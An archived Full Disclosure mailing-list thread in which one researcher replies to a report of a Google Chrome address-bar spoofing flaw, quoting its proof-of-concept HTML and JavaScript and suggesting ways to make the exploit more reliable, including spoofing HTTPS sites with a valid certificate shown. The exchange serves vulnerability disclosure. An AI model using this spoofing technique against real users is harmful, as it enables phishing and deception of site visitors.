Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 02 Jul 2015 14:33:37 +0100
From: Mustafa Al-Bassam <>
To: David Leo <>
Subject: Re: [FD] Google Chrome Address Spoofing (Request For Comment)

That's pretty neat. Played around with this and made a few discoveries.

1. It shows a valid certificate when you spoof HTTPS sites. That's really bad. POC/screenshot:

2. The page isn't responsive when using this flaw. That means you can't spoof a login box for example. (I tried.)

3. The success of the exploit seems to depend on if the browser can start loading content.html fast enough. I noticed that the exploit works 100% of the time when used locally. Perhaps a better version of the exploit would somehow preload content.html - for example by opening a window with an URL that starts with javascript: followed by a script to display the content? That, or perhaps reducing the interval time for trying to run next() after the popup is created.

I wonder if this works on any other browsers?

MustafaOn 30 Jun 2015 7:08 am, David Leo <> wrote:
> Impact: 
> The "click to verify" thing is completely broken... 
> Anyone can be "BBB Accredited Business" etc. 
> You can make display "We love Islamic State" :-) 
> Note: 
> No user interaction on the fake page. 
> Code: 
> ***** index.html 
> <script> 
> function next() 
> { 
> w.location.replace(''+n);n++; 
> setTimeout("next();",15); 
> setTimeout("next();",25); 
> } 
> function f() 
> { 
>"content.html","_blank","width=500 height=500"); 
> i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5); 
> } 
> </script> 
> <a href="#" onclick="f()">Go</a><br> 
> ***** content.html 
> <b>This web page is NOT</b> 
> <script>location="";</script> 
> ***** It's online 
> (The page says "June/16/2015" - it works as we tested today) 
> Request For Comment: 
> We reported this to Google. 
> They reproduced, and say 
> It's DoS which doesn't matter. 
> We think it's very strange, 
> since the browser does not crash(not DoS), 
> and the threat is obvious. 
> What's your opinion? 
> Kind Regards, 
> PS 
> We love clever tricks. 
> We love this: 
> _______________________________________________ 
> Sent through the Full Disclosure mailing list 
> Web Archives & RSS: 

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.